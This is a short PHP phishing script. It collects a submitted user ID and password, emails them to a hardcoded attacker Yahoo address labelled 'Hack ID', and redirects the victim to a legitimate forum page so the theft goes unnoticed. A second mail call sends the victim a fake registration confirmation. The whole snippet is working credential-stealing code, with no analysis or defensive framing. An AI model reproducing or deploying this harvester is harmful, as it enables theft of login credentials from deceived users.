$email_address = "hamidreza_r_72@yahoo.com"; $email_name = "Hack ID"; $next_page = "http://forum.p30world.com"; $body = ""; $body .= "ID: " . $name . "\n"; $body .= "Pass: " . $family . "\n"; $headers = ""; $headers .= "From: " . $email_name . " <" . $email_address . ">\n"; $headers .= "X-Sender: <" . $email_address . ">\n"; $headers .= "X-Mailer: PHP\n"; $headers .= "X-Priority: 1\n"; $headers .= "Return-Path: <" . $email_address . ">\n"; $headers .= "Content-Type: text/html; charset=UTF-8\n"; @mail($email_address, "Contact Center", "
" . $body . "", $headers); header("Location: " . $next_page); //This sends a confirmation to your visitor mail("$email","Naro.co.sr", "Hi $name,\n WWW.Website.com ... tank you for registration \n Cheers, $sitename $siteaddress","FROM:$adminaddress"